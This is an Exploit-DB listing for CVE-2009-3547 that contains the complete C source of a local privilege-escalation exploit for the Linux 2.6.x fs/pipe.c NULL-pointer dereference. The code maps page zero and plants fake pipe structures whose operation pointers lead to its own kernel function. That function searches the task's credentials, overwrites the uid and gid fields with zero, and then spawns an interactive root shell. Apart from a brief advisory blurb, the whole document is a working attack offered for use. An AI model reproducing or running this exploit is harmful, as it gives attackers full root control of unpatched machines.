标题: Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (2) EDB-ID: 33322 CVE: 2009-3547 类型: LOCAL 平台: LINUX 发布日期: 2009-11-03 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/36901/info
 
Linux kernel is prone to a local privilege-escalation vulnerability that is caused by a NULL-pointer dereference.
 
Local attackers can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition.
*/

/******************************************************************************
 *                            .:: Impel Down ::.
 *
 *     Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)
 *                              by teach & xipe
 *    Greetz goes to all our mates from #nibbles, #oldschool and #carib0u
 *    (hehe guyz, we would probably be high profile and mediatised el8 if we 
 *    lost less time on trolling all day long, but we LOVE IT :))) 
 *    Special thanks to Ivanlef0u, j0rn & pouik for being such amazing (but i
 *    promise ivan, one day i'll kill u :p)
 *                
 * (C) COPYRIGHT teach & xipe, 2009
 * All Rights Reserved
 *
 * teach@vxhell.org
 * xipe@vxhell.org
 *    
 *******************************************************************************/

#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>

#define PIPE_BUFFERS (16)

struct pipe_buf_operations {
        int can_merge;
 int *ops[10];
};

struct pipe_buffer {
        int *page;
        unsigned int offset, len;
        const struct pipe_buf_operations *ops;
        unsigned int flags;
        unsigned long private;
};

struct pseudo_pipe_inode_info
{
 /* Wait queue head */
   /* spinlock */
  int spinlock;
  /* list */
  int *next, *prev;
 unsigned int nrbufs, curbuf;
 int *page;
 unsigned int readers;
 unsigned int writers;
 unsigned int waiting_writers;
 unsigned int r_counter;
 unsigned int w_counter;
 int *async_readers;
 int *async_writers;
 int *inode;
 struct pipe_buffer bufs[PIPE_BUFFERS];
};

static pid_t uid;
static gid_t gid;
unsigned long taskstruct[1024];

static inline void *get_stack_top()
{
 void *stack;

 __asm__ __volatile__ (
 "movl $0xffffe000,%%eax ;"
 "andl %%esp, %%eax ;"
 "movl %%eax, %0 ;"
 : "=r" (stack)
 );
 return stack; 
}

static inline void *get_current()
{
 return *(void **)get_stack_top();
}

static void update_cred()
{
 uint32_t i;
 uint32_t *task = get_current(); /* Pointer to the task_struct */
 uint32_t  *cred = 0;
 
 for (i = 0; i < 1024; i++)
 {
  taskstruct[i] = task[i];
  cred = (uint32_t *)task[i];
  if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {
   cred++; /* Get ride of the cred's 'usage' field */
          if (cred[0] == uid && cred[1] == gid
              && cred[2] == uid && cred[3] == gid
              && cred[4] == uid && cred[5] == gid
              && cred[6] == uid && cred[7] == gid)
          {
    /* Get root */
            cred[0] = cred[2] = cred[4] = cred[6] = 0;
                  cred[1] = cred[3] = cred[5] = cred[7] = 0;
    break;
          }
  }
 }
}

int is_done(int new)
{
 static int done = 0;
 if (done == 1)
  return (1);
 done = new;
}

volatile int done = 0;
void kernel_code()
{
 is_done(1);
 update_cred();
 //exit_kernel();
}

int main(int ac, char **av)
{
 int fd[2];
 int pid;
 int parent_pid = getpid();
 char *buf;
 int i,j;
 struct pseudo_pipe_inode_info  *pinfo = 0;
 struct pipe_buf_operations ops; 

 buf = mmap(0, 0x1000, PROT_READ | PROT_EXEC | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, 0, 0); 

 printf ("buf: %p\n", buf);

 pinfo->readers = 0;
 pinfo->writers = 0;

 for (i = 0; i < 10; i++)
  ops.ops[i] = (int *)kernel_code;

 for (i = 0; i < PIPE_BUFFERS; i++)
 {
  pinfo->bufs[i].ops = &ops;
 }

 i = 0;


 uid = getuid();
 gid = getgid();
 setresuid(uid, uid, uid);
 setresgid(gid, gid, gid);
 //while (1) 
 {
  pid = fork();
  if (pid == -1)
  {
   perror("fork");
   return (-1);
  }
  if (pid)
  {
   char path[1024];
   char c;
   /* I assume next opened fd will be 4 */
   sprintf(path, "/proc/%d/fd/4", pid);
          printf("Parent: %d\nChild: %d\n", parent_pid, pid); 
   while (!is_done(0))
   {
    fd[0] = open(path, O_RDWR);
    if (fd[0] != -1)
    {
     close(fd[0]);
    }
   }
   //system("/bin/sh");
   execl("/bin/sh", "/bin/sh", "-i", NULL);
   return (0);
  }
 
  while (!is_done(0))
  {
   if (pipe(fd) != -1)
   {
    close(fd[0]);
    close(fd[1]);
   }
  }
 }
} URL: https://www.exploit-db.com/exploits/33322